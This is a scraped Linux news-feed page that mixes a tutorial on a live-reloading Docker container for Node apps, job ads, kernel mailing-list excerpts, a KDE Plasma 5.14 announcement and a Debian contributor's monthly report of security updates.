As a result, we have begun working together to create a set of module repositories forked from prior to the license change. We will maintain changes to these modules under their original open source licenses, applying only free and open fixes and updates.

We are committed to making these available under an open source license permanently, and welcome community involvement.

You can find more background info here:


          White label releases new UC product!      Cache   Translate Page      

Something Big is Coming!
White Label Communications is proud to announce the release of our brand-new UC product! 

Monday, October 8, 2018

White Label's new  UC Client which can be accessed from a web browser or can be installed on  all major platforms including  Windows, iOS, Linux, and AndroidBOOM!
 
It’s re-imagining data management and centralized communications –  BOOM!
It’s empowering users to quickly and efficiently interact in the enterprise space using several communication methods –  BOOM!
Is it your office’s new best friend?  Yes!

The UC Client's Desktop Features Include:

          XCOM 2 (Feral Interactive) [Mac]      Cache   Translate Page      
'Tactical Legacy Pack' now on Mac and Linux.
          Data Engineer / Developer (DB2 Linux / Sybase) - Trigyn - Montréal, QC      Cache   Translate Page      
Our direct financial services client has an opening for Data Engineer / Developer in Montreal, Quebec. Major Role &amp; Responsibilities:....
From Trigyn - Tue, 09 Oct 2018 22:02:27 GMT - View all Montréal, QC jobs
          Systems Developer / Python Developer - Completely Managed Inc. - Newmarket, ON      Cache   Translate Page      
*Completely Managed Inc. is looking to hire a full time Systems Developer that is very comfortable building within the Linux environment.* *\*\*\*\* PLEASE...
From Indeed - Tue, 09 Oct 2018 22:32:58 GMT - View all Newmarket, ON jobs
          How to Use Fail2ban to Secure Your Linux Server      Cache   Translate Page      

TecMint: By reviewing your server logs, you may often find different attempts for brute force login, web floods, exploit seeking and many others.


          Nouveau ! Radio Rêvoport à Concarneau      Cache   Translate Page      
Bonjour à tous,

pour celles et ceux qui ne pourront se rendre aux fêtes du port, à Concarneau, les 18,19 et 20 mai , Radio Rêvoport ira à vous sur 107.5 mhz.

Plus d'infos (en particulier sur la webradio associée) dès que possible.

Le site officiel : revoport2012 dans votre moteur favori !

Des infos sur la bourse gratuite, sur une install-party linux :
freecycle et blogspot dans ce même moteur !
          Consultant / Développeur JAVA secteur finance (bancaire et assurances) - Savoir-faire Linux - Montréal, QC      Cache   Translate Page      
Plusieurs postes disponibles ! Vous êtes un passionné de code ? Le secteur financier (bancaire et assurances) vous intéresse? Vous souhaitez évoluer dans une...
From Savoir-faire Linux - Tue, 19 Jun 2018 09:59:15 GMT - View all Montréal, QC jobs
          Generic Docker Container Image for running and live reloading a Node application based on a ...      Cache   Translate Page      

Originally published at technology.amis.nl

My desire: find a way to run a Node application from a Git(Hub) repository using a generic Docker container and be able to refresh the running container on the fly whenever the sources in the repo are updated. The process of producing containers for each application and upon each change of the application is too cumbersome and time consuming for certain situations — including rapid development/test cycles and live demonstrations. I am looking for a convenient way to run a Node application anywhere I can run a Docker container — without having to build and push a container image — and to continuously update the running application in mere seconds rather than minutes. This article describes what I created to address that requirement.

Key ingredient in the story: nodemon — a tool that monitors a file system for any changes in a node.js application and automatically restarts the server when there are such changes. What I had to put together:

a generic Docker container based on the official Node image — with npm and a git client inside

  • adding nodemon (to monitor the application sources)
  • adding a background Node application that can refresh from the Git repository — upon an explicit request, based on a job schedule and triggered by a Git webhook
  • defining an environment variable GITHUB_URL for the url of the source Git repository for the Node application
  • adding a startup script that runs when the container is ran first (clone from Git repo specified through GITHUB_URL and run application with nodemon) or restarted (just run application with nodemon)

I have been struggling a little bit with the Docker syntax and operations (CMD vs RUN vs ENTRYPOINT) and the Linux bash shell scripts — and I am sure my result can be improved upon.

The Dockerfile that builds the Docker container with all generic elements looks like this:

FROM node:8 #copy the Node Reload server - exposed at port 4500 COPY package.json /tmp COPY server.js /tmp RUN cd tmp && npm install EXPOSE 4500 RUN npm install -g nodemon COPY startUpScript.sh /tmp COPY gitRefresh.sh /tmp CMD ["chmod", "+x", "/tmp/startUpScript.sh"] CMD ["chmod", "+x", "/tmp/gitRefresh.sh"] ENTRYPOINT ["sh", "/tmp/startUpScript.sh"]

Feel free to pick any other node base image — from https://hub.docker.com/_/node/. For example: node:10.

The startUpScript that is executed whenever the container is started up — that takes care of the initial cloning of the Node application from the Git(Hub) URL to directory /tmp/app and the running of that application using nodemon is shown below. Note the trick (inspired by StackOverflow) to run a script only when the container is ran for the very first time.

#!/bin/sh CONTAINER_ALREADY_STARTED="CONTAINER_ALREADY_STARTED_PLACEHOLDER" if [ ! -e $CONTAINER_ALREADY_STARTED ]; then touch $CONTAINER_ALREADY_STARTED echo "-- First container startup --" # YOUR_JUST_ONCE_LOGIC_HERE cd /tmp # prepare the actual Node app from GitHub mkdir app git clone $GITHUB_URL app cd app #install dependencies for the Node app npm install #start both the reload app and (using nodemon) the actual Node app cd .. (echo "starting reload app") & (echo "start reload";npm start; echo "reload app finished") & cd app; echo "starting nodemon for app cloned from $GITHUB_URL"; nodemon else echo "-- Not first container startup --" cd /tmp (echo "starting reload app and nodemon") & (echo "start reload";npm start; echo "reload app finished") & cd app; echo "starting nodemon for app cloned from $GITHUB_URL"; nodemon fi The startup script runs the live reloader application in the background — using (echo “start reload”;npm start)&. That final ampersand (&) takes care of running the command in the background. This npm start command runs the server.js file in /tmp. This server listens at port 4500 for requests. When a request is received at /reload, the application will execute the gitRefresh.sh shell script that performs a git pull in the /tmp/app directory where the git clone of the repository was targeted.

 

const RELOAD_PATH = '/reload' const GITHUB_WEBHOOK_PATH = '/github/push' var http = require('http'); var server = http.createServer(function (request, response) { console.log(`method ${request.method} and url ${request.url}`) if (request.method === 'GET' && request.url === RELOAD_PATH) { console.log(`reload request starting at ${new Date().toISOString()}...`); refreshAppFromGit(); response.write(`RELOADED!!${new Date().toISOString()}`); response.end(); console.log('reload request handled...'); } else if (request.method === 'POST' && request.url === GITHUB_WEBHOOK_PATH) { let body = []; request.on('data', (chunk) => { body.push(chunk);}) .on('end', () => { body = Buffer.concat(body).toString(); // at this point, `body` has the entire request body stored in it as a string console.log(`GitHub WebHook event handling starting ${new Date().toISOString()}...`); ... (see code in GitHub Repo https://github.com/lucasjellema/docker-node-run-live-reload/blob/master/server.js console.log("This commit involves changes to the Node application, so let's perform a git pull ") refreshAppFromGit(); response.write('handled'); response.end(); console.log(`GitHub WebHook event handling complete at ${new Date().toISOString()}`); }); } else { // respond response.write('Reload is live at path '+RELOAD_PATH); response.end(); } }); server.listen(4500); console.log('Server running and listening at Port 4500'); var shell = require('shelljs'); var pwd = shell.pwd() console.info(`current dir ${pwd}`) function refreshAppFromGit() { if (shell.exec('./gitRefresh.sh').code !== 0) { shell.echo('Error: Git Pull failed'); shell.exit(1); } else { } }

Using the node-run-live-reload image
Now that you know a little about the inner workings of the image, let me show you how to use it (also see instructions here: https://github.com/lucasjellema/docker-node-run-live-reload).

To build the image yourself, clone the GitHub repo and run

docker build -t "node-run-live-reload:0.1" .

using of course your own image tag if you like. I have pushed the image to Docker Hub as lucasjellema/node-run-live-reload:0.1. You can use this image like this:

docker run --name express -p 3011:3000 -p 4505:4500 -e GITHUB_URL=https://github.com/shapeshed/express_example -d lucasjellema/node-run-live-reload:0.1

In the terminal window — we can get the logging from within the container using

docker logs express --follow

After the application has been cloned from GitHub, npm has installed the dependencies and nodemon has started the application, we can access it at <host>:3011 (because of the port mapping in the docker run command):


When the application sources are updated in the GitHub repository, we can use a GET request (from CURL or the browser) to <host>:4505 to refresh the container with the latest application definition:


The logging from the container indicates that a git pull was performed — and returned no new sources:


Because there are no changed files, nodemon will not restart the application in this case.

One requirement at this moment for this generic container to work is that the Node application has a package.json with a scripts.start entry in its root directory; nodemon expects that entry as instruction on how to run the application. This same package.json is used with npm install to install the required libraries for the Node application.

Summary

The next figure gives an overview of what this article has introduced. If you want to run a Node application whose sources are available in a GitHub repository, then all you need is a Docker host and these are your steps:

  1. Pull the Docker image: docker pull lucasjellema/node-run-live-reload:0.1 (this image currently contains the Node 8 runtime, npm, nodemon, a git client and the reloader application) 
    Alternatively: build and tag the container yourself.
  2. Run the container image, passing the GitHub URL of the repo containing the Node application; specify required port mappings for the Node application and the reloader (port 4500): docker run –name express -p 3011:3000 -p 4500:4500 -e GITHUB_URL=<GIT HUB REPO URL> -d lucasjellema/node-run-live-reload:0.1
  3. When the container is started, it will clone the Node application from GitHub
  4. Using npm install, the dependencies for the application are installed
  5. Using nodemon the application is started (and the sources are monitored so to restart the application upon changes)
  6. Now the application can be accessed at the host running the Docker container on the port as mapped per the docker run command
  7. With an HTTP request to the /reload endpoint, the reloader application in the container is instructed to
  8. git pull the sources from the GitHub repository and run npm install to fetch any changed or added dependencies
  9. if any sources were changed, nodemon will now automatically restart the Node application
  10. the upgraded Node application can be accessed

Note: alternatively, a WebHook trigger can be configured. This makes it possible to automatically trigger the application reload facility upon commits to the GitHub repo. Just like a regular CD pipeline this means running Node applications can be automatically upgraded.


Next Steps

Some next steps I am contemplating with this generic container image — and I welcome your pull requests — include:

  • allow an automated periodic application refresh to be configured through an environment variable on the container (and/or through a call to an endpoint on the reload application) instructing the reloader to do a git pull every X seconds.
  • use https://www.npmjs.com/package/simple-git instead of shelljs plus local Git client (this could allow usage of a lighter base image — e.g. node-slim instead of node)
  • force a restart of the Node application — even it is not changed at all
  • allow for alternative application startup scenarios besides running the scripts.start entry in the package.json in the root of the application
Resources

GitHub Repository with the resources for this article — including the Dockerfile to build the container: https://github.com/lucasjellema/docker-node-run-live-reload

My article on my previous attempt at creating a generic Docker container for running a Node application from GitHub: https://technology.amis.nl/2017/05/21/running-node-js-applications-from-github-in-generic-docker-container/

Article and Documentation on nodemon: https://medium.com/lucjuggery/docker-in-development-with-nodemon-d500366e74df and https://github.com/remy/nodemon#nodemon

NPM module shelljs that allows shell commands to be executed from Node applications: https://www.npmjs.com/package/shelljs


          Software Engineer - CACI - Reston, VA      Cache   Translate Page      
Experience using Unix like OS (Solaris, Linux, Unix, Irix, HPUX, SCO, etc..). CACI is seeking a Software Engineer in Reston, VA....
From CACI - Thu, 20 Sep 2018 10:41:54 GMT - View all Reston, VA jobs
          Need Help in linux file System      Cache   Translate Page      
I need help in digital ocean. i have installed windows in droplet and every thing is working but the problem is with disk. i need to add extra disk to my windows. so what i did i just simply attached new volume to droplet and mounted... (Budget: $10 - $30 USD, Jobs: Amazon Web Services, Linux, Network Administration, System Admin, Ubuntu)
          Automation to create mail alias       Cache   Translate Page      
I need that every time an email is sent to a non-exiting recipient, the script creates an alias to that recipient. For example: Given the premise terrain@localhost exists: 1 - send an email to home.terrain@localhost 2 - home.terrain does not exist and will fail... (Budget: $250 - $750 USD, Jobs: Linux, Python, Software Architecture)
          Re: [alsa-devel] [PATCH linux-next v2 9/9] ASoC: rsnd: add busif p ...      Cache   Translate Page      
Kuninori Morimoto writes: (Summary) It depends on tdm-slots, I think.
It depends on tdm-slots, I think.
if tdm-slots was 6ch...
aplay -D plughw:0,0 xxx.wav (=3D will be 1ch, 2ch, 3ch, 4ch) aplay -D plughw:0,1 xxx.wav (=3D will be 5ch, 6ch)
aplay -D plughw:0,1 xxx.wav (=3D will be 5ch, 6ch)
if tdm-slots was 8ch...
aplay -D plughw:0,0 xxx.wav (=3D will be 1ch, 2ch, 3ch, 4ch, 5ch, 6ch) aplay -D plughw:0,1 xxx.wav (=3D will be 7ch, 8ch)
aplay -D plughw:0,1 xxx.wav (=3D will be 7ch, 8ch)
something like this, is my understanding.
something like this, is my understanding.
something like this, is my understanding.
is a good idea
Thank you for understanding my idea.
Nice to know
Nice to know
Nice to know
Best regards
--- Kuninori Morimoto
          Re: [PATCH i2c-next v7 5/5] i2c: aspeed: Add bus idle waiting logi ...      Cache   Translate Page      
Brendan Higgins writes: On Fri, Oct 5, 2018 at 2:45 PM Jae Hyun Yoo
<jae.hyun.yoo@linux.intel.com> wrote:
Signed-off-by: Jae Hyun Yoo <jae.hyun.yoo@linux.intel.com> Reviewed-by: Brendan Higgins <brendanhiggins@google.com> Reviewed-by: Brendan Higgins <brendanhiggins@google.com> Reviewed-by: Brendan Higgins <brendanhiggins@google.com>
          Re: [PATCH i2c-next v7 4/5] i2c: aspeed: Remove hard-coded bus tim ...      Cache   Translate Page      
Brendan Higgins writes: On Fri, Oct 5, 2018 at 2:45 PM Jae Hyun Yoo
<jae.hyun.yoo@linux.intel.com> wrote:
Reviewed-by: Joel Stanley <joel@jms.id.au>
Reviewed-by: Brendan Higgins <brendanhiggins@google.com> Reviewed-by: Brendan Higgins <brendanhiggins@google.com> Reviewed-by: Brendan Higgins <brendanhiggins@google.com>
          Re: [PATCH i2c-next v7 3/5] dt-bindings: i2c: aspeed: Add 'bus-tim ...      Cache   Translate Page      
Brendan Higgins writes: On Fri, Oct 5, 2018 at 2:45 PM Jae Hyun Yoo
<jae.hyun.yoo@linux.intel.com> wrote:
Signed-off-by: Jae Hyun Yoo <jae.hyun.yoo@linux.intel.com> Reviewed-by: Brendan Higgins <brendanhiggins@google.com> Reviewed-by: Brendan Higgins <brendanhiggins@google.com> Thanks for putting all the work in to do it this way! Thanks for putting all the work in to do it this way! Thanks for putting all the work in to do it this way!
          [tip:x86/mm 4/4] htmldocs: kernel/resource.c:337: warning: Functio ...      Cache   Translate Page      
kbuild test robot writes: (Summary) tree: https://git.kernel.org/pub/scm/linux/kernel/git/tip/tip.git x86/mm head: b69c2e20f6e4046da84ce5b33ba1ef89cb087b40
commit: b69c2e20f6e4046da84ce5b33ba1ef89cb087b40 [4/4] resource: Clean it up a bit reproduce: make htmldocs
reproduce: make htmldocs
All warnings (new ones prefixed by >>):
All warnings (new ones prefixed by >>):
WARNING: convert(1) not found, for SVG to PDF conversion install ImageMagick (https://www.imagemagick.org) kernel/resource.c:337: warning: Function parameter or member 'start' not described in 'find_next_iomem_res' kernel/resource.c:337: warning: Function parameter or member 'end' not described in 'find_next_iomem_res' kernel/resource.c:337: warning: Function parameter or member 'flags' not described in 'find_next_iomem_res' kernel/resource.c:337: warning: Function parameter or member 'desc' not described in 'find_next_iomem_res' kernel/re
          Re: [PATCH] remoteproc: qcom: q6v5: shore up resource probe handling      Cache   Translate Page      
Doug Anderson writes: (Summary) wrote: + }
optional: Since there's the same pattern 5 times here, I wonder if we should abstract it out to a helper function that would print the error?
error?
...in the ideal case it would be somewhere that all Linux drivers could use since this is a super common pattern, but that might be a bit too much yak shaving...
bit too much yak shaving...
bit too much yak shaving...
+ return q6v5->stop_irq;
Nitty nit that it's the "stop-ack" IRQ, not the "stop" IRQ.
          linux-next: build warning after merge of the ext4 tree      Cache   Translate Page      
Stephen Rothwell writes: (Summary) Hi Theodore,
Hi Theodore,
After merging the ext4 tree, today's linux-next build (arm multi_v7_defconfig) produced this warning:
multi_v7_defconfig) produced this warning:
fs/ext4/super.c: In function 'parse_options':
fs/ext4/super.c:1976:26: warning: unused variable 'grp_qf_name' [-Wunused-variable] char *p, *usr_qf_name, *grp_qf_name;
^~~~~~~~~~~ fs/ext4/super.c:1976:12: warning: unused variable 'usr_qf_name' [-Wunused-variable] char *p, *usr_qf_name, *grp_qf_name;
          Re: [PATCH] memblock: stop using implicit alignement to SMP_CACHE_ ...      Cache   Translate Page      
Paul Burton writes: Hi Mike,
Hi Mike,
On Fri, Oct 05, 2018 at 12:07:04AM +0300, Mike Rapoport wrote: t is
tly
Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com> Acked-by: Paul Burton <paul.burton@mips.com> # MIPS part Acked-by: Paul Burton <paul.burton@mips.com> # MIPS part Thanks,
Paul
Paul
Paul

          Re: [RFC PATCH 01/11] phy: core add phy_set_netif_mode() api      Cache   Translate Page      
Grygorii Strashko writes: (Summary) On 10/09/2018 12:22 AM, Kishon Vijay Abraham I wrote: this case I think phy_set_mode should suffice.
this case I think phy_set_mode should suffice.
This is what I've had in mind first, but all my guts argued against it after I've tried: This is what I've had in mind first, but all my guts argued against it after I've tried: diff --git a/include/linux/phy/phy.h b/include/linux/phy/phy.h index bc73d2b..961b156 100644 --- a/include/linux/phy/phy.h +++ b/include/linux/phy/phy.h @@ -41,6 +41,14 @@ enum phy_mode { PHY_MODE_10GKR, PHY_MODE_UFS_HS_A, PHY_MODE_UFS_HS_B, + PHY_MODE_MODE_MII, + PHY_MODE_MODE_GMII, + PHY_MODE_MODE_SGMII, + PHY_MODE_MODE_RMII, + PHY_MODE_MODE_RGMII, + PHY_MODE_MODE_RGMII_ID, + PHY_MODE_MODE_RGMII_RXID, + PHY_MODE_MODE_RGMII_TXID, };
          [GIT PULL] percpu fixes for-4.19-rc8      Cache   Translate Page      
Dennis Zhou writes: (Summary) This caused a memory leak when percpu memory is being churned resulting in the allocation and deallocation of percpu memory chunks.
chunks.
Thanks,
Dennis
Dennis
The following changes since commit 0238df646e6224016a45505d2c111a24669ebe21: The following changes since commit 0238df646e6224016a45505d2c111a24669ebe21: Linux 4.19-rc7 (2018-10-07 17:26:02 +0200)
Linux 4.19-rc7 (2018-10-07 17:26:02 +0200)
are available in the Git repository at:
are available in the Git repository at:
git://git.kernel.org/pub/scm/linux/kernel/git/dennis/percpu.git for-4.19-fixes git://git.kernel.org/pub/scm/linux/kernel/git/dennis/percpu.git for-4.19-fixes for you to fetch changes up to 6685b357363bfe295e3ae73665014db4aed62c58: for you to fetch changes up to 6685b357363bfe295e3ae73665014db4aed62c58: percpu: stop leaking bitmap metadata blocks (2018-10-07 14:50:12 -0700) percpu: stop leaking bitmap metadata blocks (2018-10-07 14:50:12 -0700) -------------------------------
          Re: [PATCH 4/4] mm: zero-seek shrinkers      Cache   Translate Page      
Andrew Morton writes: On Tue, 9 Oct 2018 15:15:56 -0700 Andrew Morton <akpm@linux-foundation.org> wrote: On Tue, 9 Oct 2018 15:15:56 -0700 Andrew Morton <akpm@linux-foundation.org> wrote: workloads. So I think I'll hold this over for 4.20. Or shouldn't I? Meant 4.21. But on reflection this is perhaps excessively cautious. Meant 4.21. But on reflection this is perhaps excessively cautious. Meant 4.21. But on reflection this is perhaps excessively cautious.
          Software Engineer - LOCKHEED MARTIN CORPORATION - Fort Meade, MD      Cache   Translate Page      
Experience with Linux internals. Experience with iOS or Android internals/ research. ARM, PowerPC, MIPS, ST10, AMD, SPARC, or Xeon....
From Lockheed Martin Corporation - Tue, 10 Jul 2018 04:22:40 GMT - View all Fort Meade, MD jobs
          Re: perf report segfault      Cache   Translate Page      
Jiri Olsa writes: (Summary) $ git clone git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux.git $ cd linux
$ git checkout -b perf/core origin/perf/core
$ cd tools/perf
$ make
$ ./perf ...
$ ./perf ...
you might need some packages mentioned in (search for 'yum install'): https://perf.wiki.kernel.org/index.php/Jolsa_Howto_Install_Sources https://perf.wiki.kernel.org/index.php/Jolsa_Howto_Install_Sources it's little outdated, but the packages lists will do it's little outdated, but the packages lists will do thanks,
jirka
jirka
jirka

          [tip:x86/mm 3/4] htmldocs: kernel/resource.c:338: warning: Functio ...      Cache   Translate Page      
kbuild test robot writes: (Summary) tree: https://git.kernel.org/pub/scm/linux/kernel/git/tip/tip.git x86/mm head: b69c2e20f6e4046da84ce5b33ba1ef89cb087b40
commit: 010a93bf97c72f43aac664d0a685942f83d1a103 [3/4] resource: Fix find_next_iomem_res() iteration issue reproduce: make htmldocs
reproduce: make htmldocs
All warnings (new ones prefixed by >>):
All warnings (new ones prefixed by >>):
WARNING: convert(1) not found, for SVG to PDF conversion install ImageMagick (https://www.imagemagick.org) kernel/resource.c:338: warning: Function parameter or member 'first_level_children_only' not described in 'find_next_iomem_res' include/linux/srcu.h:175: warning: Function parameter or member 'p' not described in 'srcu_dereference_notrace' include/linux/srcu.h:175: warning: Function parameter or member 'sp' not described in 'srcu_dereference_notrace' include/linux/gfp.h:1: warning: no structured comme
          [PATCH 1/2] component: add optional cleanup function      Cache   Translate Page      
Stefan Agner writes: (Summary) 1 + 2 files changed, 5 insertions(+) diff --git a/drivers/base/component.c b/drivers/base/component.c index 8946dfee4768..5350d931a663 100644 --- a/drivers/base/component.c +++ b/drivers/base/component.c @@ -535,6 +535,10 @@ int component_bind_all(struct device *master_dev, void *data) break; } + /* Allow the master to call framework cleanup functions */ + if (master->ops->cleanup) + master->ops->cleanup(master->dev); ) if (!master->match->compare[i].duplicate) { diff --git a/include/linux/component.h b/include/linux/component.h index e71fbbbc74e2..800534b52165 100644 --- a/include/linux/component.h +++ b/include/linux/component.h @@ -24,6 +24,7 @@ struct master;
          Re: [PATCH v2 15/29] drm/bridge/synopsys: dw-hdmi: Enable workarou ...      Cache   Translate Page      
Russell King - ARM Linux writes: (Summary) The errata documentation for this workaround on iMX6 states:
for this workaround on iMX6 states:
Each time one writes to some FC registers, and depending on the clock relation of sfr clk and tmds clk, some of these train of pulses (when these registers are configured in sequence), may not be caught by the arithmetic unit while it is busy processing/updating the first ones, so, it gets wrong video timing values, although the registers FC_* hold correct values. Video will still pass correctly to the HDMI, but packets would not because the frame composer is holding internally incorrect video timing and this will quickly build up and overflow the packet FIFOs.
quickly build up and overflow the packet FIFOs.
So, the workaround is about kicking the frame composer so that the packets (iow, non-video data) are passed through correctly.
          Re: [RFC] perf tools: Wrong filter_band* values in json calculation"      Cache   Translate Page      
Andi Kleen writes: (Summary) On Tue, Oct 09, 2018 at 12:01:44PM +0200, Jiri Olsa wrote: any idea when you could post an update for this?
Can just use your patch for the existing event lists. You can add Can just use your patch for the existing event lists. You can add Acked-by: Andi Kleen <ak@linux.intel.com>
Acked-by: Andi Kleen <ak@linux.intel.com>
I was mainly worried about future updates, but it doesn't seem to be a problem. I was mainly worried about future updates, but it doesn't seem to be a problem. -Andi
-Andi
-Andi

          Re: linux-next: manual merge of the net-next tree with the net tree      Cache   Translate Page      
Stephen Rothwell writes: Hi Jamal,
Hi Jamal,
On Tue, 9 Oct 2018 06:02:25 -0400 Jamal Hadi Salim <jhs@mojatatu.com> wrote: Attached should fix it. Al, please double check.
OK, I will use that resolution from today.
OK, I will use that resolution from today.
Thanks.
Thanks.
[unhandled content-type:application/pgp-signature]
          livelock with hrtimer cpu_base->lock      Cache   Translate Page      
Sodagudi Prasad writes: (Summary) Hi Will,
Hi Will,
This is regarding - thread "try to fix contention between expire_timers and try_to_del_timer_sync".
https://lkml.org/lkml/2017/7/28/172
https://lkml.org/lkml/2017/7/28/172
I think this live lockup issue was discussed earlier but the final set of changes were not concluded.
I would like to check whether you have new updates on this issue or not. I am thinking that fixing this at the cpu_relax() level.
fixing this at the cpu_relax() level.
+++ b/kernel/time/hrtimer.c @@ -52,6 +52,7 @@ #include <linux/timer.h>
          [RFC PATCH] kernel/panic: Filter out a potential trailing newline      Cache   Translate Page      
Borislav Petkov writes: (Summary) From: Borislav Petkov <bp@suse.de>
From: Borislav Petkov <bp@suse.de>
If a call to panic() terminates the string with a \n, the result puts the closing brace ']---' on a newline because panic() itself adds \n too.
too.
Now, if one goes and removes the newline chars from all panic() invocations - and the stats right now look like this: invocations - and the stats right now look like this: ~300 calls with an \n
~500 calls without a \n
~500 calls without a \n
one is destined to a neverending game of whack-a-mole because the usual thing to do is add a newline at the end of a string a function is supposed to print.
supposed to print.
Therefore, simply zap any \n at the end of the panic string to avoid touching so many places in the kernel.
touching so many places in the kernel.
Signed-off-by: Borislav Petkov <bp@suse.de>
Cc: Andrew Morton <akpm@linux-foundation.org>
          Re: [PATCH v1 1/2] clk: qcom: rcg2: Add support for display port c ...      Cache   Translate Page      
Stephen Boyd writes: (Summary) Quoting Taniya Das (2018-10-09 06:57:46)
+#include <linux/rational.h>
Can you also select RATIONAL in the Kconfig language? We shouldn't need to check the parent clk for any rate here when we're setting the rate.
rate here when we're setting the rate.
+ (unsigned long)(1 << Sure, this clk does nothing, so we don't really need any sort of op here then and we can just flag the clk as CLK_SET_RATE_PARENT and let the core do the rest.
the rest.
+EXPORT_SYMBOL_GPL(clk_dp_ops);
+EXPORT_SYMBOL_GPL(clk_dp_ops);

          Re: [PATCH] hwmon: (core) Add trace events to _attr_show/store fun ...      Cache   Translate Page      
Steven Rostedt writes: On Tue, 9 Oct 2018 13:39:37 -0700
Guenter Roeck <linux@roeck-us.net> wrote:
Guenter Roeck <linux@roeck-us.net> wrote:
not use it to hide other problems in the noise.
Note, this is also the main reason why I don't even bother using checkpatch.
checkpatch.
-- Steve
-- Steve
-- Steve

          Re: [PATCH] hwmon: (core) Add trace events to _attr_show/store fun ...      Cache   Translate Page      
Steven Rostedt writes: (Summary) On Tue, 9 Oct 2018 13:39:37 -0700
Guenter Roeck <linux@roeck-us.net> wrote:
Guenter Roeck <linux@roeck-us.net> wrote:
not use it to hide other problems in the noise.
Yes, please, can we?
Yes, please, can we?
I personally hate the 80 character limit rule, because I like descriptive variables and function names, which itself causes the 80 character limit to be broken. I find line breaks to avoid that limit just makes the code look worse. -- Steve
-- Steve
-- Steve

          Plasma 5.14 Comes with New Features and a Much Polished Environment      Cache   Translate Page      

Tuesday, 9 October 2018. Today KDE launches the first release of Plasma 5.14.

Plasma is KDE's lightweight and full featured Linux desktop. For the last three months we have been adding features and fixing bugs and now invite you to install Plasma 5.14.

A lot of work has gone into improving Discover, Plasma's software manager, and, among other things, we have added a Firmware Update feature and many subtle user interface improvements to give it a smoother feel. We have also rewritten many effects in our window manager KWin and improved it for slicker animations in your work day. Other improvements we have made include a new Display Configuration widget which is useful when giving presentations.

Read more

Also: KDE Plasma 5.14 Desktop Environment Officially Released, Here's What's New

KDE Plasma 5.14 Released With A Plethora Of Improvements


          Need Help in linux file System      Cache   Translate Page      
I need help in digital ocean. i have installed windows in droplet and every thing is working but the problem is with disk. i need to add extra disk to my windows. so what i did i just simply attached new volume to droplet and mounted... (Budget: $10 - $30 USD, Jobs: Amazon Web Services, Linux, Network Administration, System Admin, Ubuntu)
          IT Support Specialist - Rambus - San Francisco, CA      Cache   Translate Page      
Business Unit Specific Support:. Collaboration Tool support (Skype for Business, Webex, etc). Deep knowledge of Unix/Linux internals administration,...
From Bank of Ireland - Wed, 19 Sep 2018 00:34:49 GMT - View all San Francisco, CA jobs
          Build Engineer - Visier Inc. - Vancouver, BC      Cache   Translate Page      
Knowledge of Java, Bash, Linux, and distributed revision control tools (e.g. Work closely with architects and senior developers to define proper modularization...
From Visier Inc. - Mon, 30 Jul 2018 17:04:26 GMT - View all Vancouver, BC jobs
          Markus Koschany: My Free Software Activities in September 2018      Cache   Translate Page      

Welcome to gambaru.de. Here is my monthly report that covers what I have been doing for Debian. If you’re interested in Java, Games and LTS topics, this might be interesting for you.

Debian Games

  • Yavor Doganov continued his heroics in September and completed the port to GTK 3 of teg, a risk-like game. (#907834) Then he went on to fix gnome-breakout.
  • I packaged a new upstream release of freesweep, a minesweeper game, which fixed some minor bugs but unfortunately not #907750.
  • I spent most of the time this month on packaging a newer upstream version of unknown-horizons, a strategy game similar to the old Anno games. After also upgrading the fife engine, fifechan and NMUing python-enet, the game is up-to-date again.
  • More new upstream versions this month: atomix, springlobby, pygame-sdl2, and renpy.
  • I updated widelands to fix an incomplete appdata file (#857644) and to make the desktop icon visible again.
  • I enabled gconf support in morris (#908611) again because gconf will be supported in Buster.
  • Drascula, a classic adventure game, refused to start because of changes to the ScummVM engine. It is working now. (#908864)
  • In other news I backported freeorion to Stretch and sponsored a new version of the runescape wrapper for Carlos Donizete Froes.

Debian Java

  • Only late in September I found the time to work on JavaFX but by then Emmanuel Bourg had already done most of the work and upgraded OpenJFX to version 11. We now have a couple of broken packages (again) because JavaFX is no longer tied to the JRE but is designed more like a library. Since most projects still cling to JavaFX 8 we have to fix several build systems by accommodating those new circumstances.  Surely there will be more to report next month.
  • A Ubuntu user reported that importing furniture libraries was no longer possible in sweethome3d (LP: #1773532) when it is run with OpenJDK 10. Although upstream is more interested in supporting Java 6, another user found a fix which I could apply too.
  • New upstream versions this month: jboss-modules, libtwelvemonkeys-java, robocode, apktool, activemq (RC #907688), cup and jflex. The cup/jflex update required a careful order of uploads because both packages depend on each other. After I confirmed that all reverse-dependencies worked as expected, both parsers are up-to-date again.
  • I submitted two point updates for dom4j and tomcat-native to fix several security issues in Stretch.

Misc

  • Firefox 60 landed in Stretch which broke all xul-* based browser plugins. I thought it made sense to backport at least two popular addons, ublock-origin and https-everywhere, to Stretch.
  • I also prepared another security update for discount (DSA-4293-1) and uploaded  libx11 to Stretch to fix three open CVE.

Debian LTS

This was my thirty-first month as a paid contributor and I have been paid to work 29,25 hours on Debian LTS, a project started by Raphaël Hertzog. In that time I did the following:

  • From 24.09.2018 until 30.09.2018 I was in charge of our LTS frontdesk. I investigated and triaged CVE in dom4j, otrs2, strongswan, python2.7, udisks2, asterisk, php-horde, php-horde-core, php-horde-kronolith, binutils, jasperreports, monitoring-plugins, percona-xtrabackup, poppler, jekyll and golang-go.net-dev.
  • DLA-1499-1. Issued a security update for discount fixing 4 CVE.
  • DLA-1504-1. Issued a security update for ghostscript fixing 14 CVE.
  • DLA-1506-1. Announced a security update for intel-microcode.
  • DLA-1507-1. Issued a security update for libapache2-mod-perl2 fixing 1 CVE.
  • DLA-1510-1. Issued a security update for glusterfs fixing 11 CVE.
  • DLA-1511-1. Issued an update for reportbug.
  • DLA-1513-1. Issued a security update for openafs fixing 3 CVE.
  • DLA-1517-1. Issued a security update for dom4j fixing 1 CVE.
  • DLA-1523-1. Issued a security update for asterisk fixing 1 CVE.
  • DLA-1527-1 and DLA-1527-2. Issued a security update for ghostscript fixing 2 CVE and corrected an incomplete fix for CVE-2018-16543 later.
  • I reviewed and uploaded strongswan and otrs2 for Abhijith PA.

ELTS

Extended Long Term Support (ELTS) is a project led by Freexian to further extend the lifetime of Debian releases. It is not an official Debian project but all Debian users benefit from it without cost. The current ELTS release is Debian 7 „Wheezy“. This was my fourth month and I have been paid to work 15  hours on ELTS.

